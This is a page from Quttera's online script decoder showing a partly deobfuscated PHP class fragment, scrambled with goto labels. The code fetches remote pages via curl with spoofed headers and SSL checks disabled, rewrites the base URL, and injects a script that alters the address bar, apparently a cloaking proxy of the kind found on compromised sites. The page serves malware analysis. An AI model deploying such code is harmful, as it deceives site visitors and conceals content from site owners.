Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


function h9jSe(array $Nu3gq, string $v314H, string $mAGF8) : array { goto X5kOT; Qe880: $Kv9RQ = str_ireplace($uKtXj["path"], '', $mAGF8); goto cEbwx; w2xKz: return $Nu3gq; goto gLsk4; gsk3r: $Nu3gq["path"] = $Grjor["path"]; goto N0R8l; X5kOT: $uKtXj = parse_url($v314H); goto Qe880; iQh23: Y3AEw: goto w2xKz; N0R8l: $Nu3gq["query"] = $Grjor["query"] ?? ''; goto iQh23; cEbwx: $Grjor = parse_url($Kv9RQ); goto nfdFk; nfdFk: if (!(!empty($Grjor["path"]) && $Grjor["path"] != "/")) { goto Y3AEw; } goto gsk3r; gLsk4: } function qFtdO(array $Nu3gq) : string { return implode('', [$Nu3gq["scheme"] . "://", $Nu3gq["host"], $Nu3gq["path"] ?? "/", "?" . $Nu3gq["query"] ?? '']); } function nUdF_(array $Nu3gq, string $mAGF8) : array { goto TkP1S; TkP1S: parse_str($Nu3gq["query"] ?? '', $uyl73); goto Ns_yy; Ns_yy: parse_str(parse_url($mAGF8)["query"] ?? '', $mdc0i); goto f51LN; f51LN: $Nu3gq["query"] = urldecode(http_build_query($mdc0i + $uyl73)); goto H4rxy; H4rxy: return $Nu3gq; goto UlbWO; UlbWO: } function NF5pI(array $Nu3gq, string $Vmugj) : string { goto vBeCY; vBeCY: $Vmugj = $this->edlVK($Nu3gq, $Vmugj); goto RdNlQ; Q6Yw5: return $Vmugj; goto DT2zG; RdNlQ: $Vmugj = $this->UVaLN($Nu3gq, $Vmugj); goto Q6Yw5; DT2zG: } function uvaln(array $Nu3gq, string $Vmugj) : string { goto LBmuD; LBmuD: $H_j5F = $Nu3gq["query"] ?? ''; goto iTb5u; vAZeu: return $Vmugj; goto mpEga; hZ8cs: $Vmugj = str_replace("<head>", "<head>{$x3dv8}", $Vmugj); goto vAZeu; iTb5u: $x3dv8 = "<script>
let w_currentUrl = new URL(window.location.href);\xalet w_searchParams = w_currentUrl.searchParams;\xaw_currentUrl.search = "{$H_j5F}";\xahistory.pushState(null, '', w_currentUrl.toString());
</script>"; goto hZ8cs; mpEga: } function EdLvk(array $Nu3gq, string $Vmugj) : string { goto iL0BU; tbGpH: $APewa = parse_url($APewa) ?? []; goto mT7mh; Em56q: YI7RZ: goto e3DLg; TgjjN: $Vmugj = preg_replace("/<base href="(.+)">/i", "<base href='{$wlLop}'>", $Vmugj); goto QWo8o; R4lqH: $Vmugj = str_replace("<head>", "<head><base href='{$wlLop}'>", $Vmugj); goto sODL6; sODL6: goto ymrdN; goto Em56q; e3DLg: $APewa = $cGQsv[1] ?? ''; goto tbGpH; P1w7M: return $Vmugj; goto mQ0FB; iL0BU: preg_match("#<base href="([\.\/\w-]+\/)#i", $Vmugj, $cGQsv); goto DFNXA; bu2c0: $wlLop = implode('', [$Nu3gq["scheme"] . "://", $Nu3gq["host"], $Nu3gq["path"] ?? "/"]); goto R4lqH; mT7mh: $wlLop = implode('', [$Nu3gq["scheme"] . "://", $APewa["host"] ?? $Nu3gq["host"], $APewa["path"] ?? $Nu3gq["path"]]); goto TgjjN; QWo8o: ymrdN: goto P1w7M; DFNXA: if ($cGQsv) { goto YI7RZ; } goto bu2c0; mQ0FB: } function getContent(array &$Nu3gq, string $gjSlL, string $hzKe1, string $cs4Nn) : string { goto c065p; Fy0L3: $Nu3gq["host"] = $JHPjC["host"]; goto ihHJh; RutB6: curl_setopt($GMshr, CURLOPT_HTTPHEADER, $oK2dE); goto aDZJl; JG_T_: $KfMSI = $UD9C6; goto mVewn; NwsN5: $R1evL = $this->p6Bfc($oK2dE); goto JG_T_; j6MSB: $oK2dE = substr($z_KtL, 0, $Wcyhq); goto PU9hs; T4tYS: curl_setopt($GMshr, CURLOPT_FOLLOWLOCATION, true); goto RutB6; fPc_o: $JHPjC = parse_url($JHPjC); goto Fy0L3; FMCl1: pC_6i: goto S634d; I9iFW: curl_setopt($GMshr, CURLOPT_URL, $LST7Q); goto maZ2C; ihHJh: $Nu3gq["path"] = $JHPjC["path"]; goto R9eWC; NFihh: curl_setopt($GMshr, CURLOPT_HEADER, 1); goto yRDmq; aDZJl: curl_setopt($GMshr, CURLOPT_SSL_VERIFYHOST, 0); goto tsJJM; BymQQ: $Wcyhq = curl_getinfo($GMshr, CURLINFO_HEADER_SIZE); goto j6MSB; PU9hs: $ShRcF = substr($z_KtL, $Wcyhq); goto nWGTY; S634d: $Nu3gq["query"] = urldecode(http_build_query($KfMSI)); goto ZP7f9; n2AkS: $GMshr = curl_init(); goto I9iFW; ZP7f9: curl_close($GMshr); goto g_nsL; nWGTY: $JHPjC = curl_getinfo($GMshr, CURLINFO_EFFECTIVE_URL); goto fPc_o; tsJJM: curl_setopt($GMshr, CURLOPT_SSL_VERIFYPEER, 0); goto NFihh; maZ2C: curl_setopt($GMshr, CURLOPT_RETURNTRANSFER, 1); goto T4tYS; yRDmq: $z_KtL = curl_exec($GMshr); goto BymQQ; R9eWC: parse_str($Nu3gq["query"], $UD9C6); goto NwsN5; B0EK_: $oK2dE = ["X-Forwarded-For: " . $gjSlL, "User-Agent: " . $hzKe1, "Accept-Language: " . $cs4Nn]; goto n2AkS; g_nsL: return $ShRcF; goto AFhwP; c065p: $LST7Q = $this->QfTDo($Nu3gq); goto B0EK_; mVewn: foreach ($R1evL as $kNTDt) { goto st_hk; IK_Vl: oqHBB: goto lhCEq; NIhf2: $KfMSI = $SsOqW + $KfMSI; goto IK_Vl; LMSuK: parse_str($KXvCt["query"], $SsOqW); goto NIhf2; st_hk: $KXvCt = parse_url($kNTDt); goto LMSuK; lhCEq: } goto FMCl1; AFhwP: } function P6BFC(string $oK2dE) : array { preg_match_all("/(location:|uri:)\s*(.*?)\s*\n/i", $oK2dE, $CHhmb); return $CHhmb ? $CHhmb[2] : []; } }



© 2023 Quttera Ltd. All rights reserved.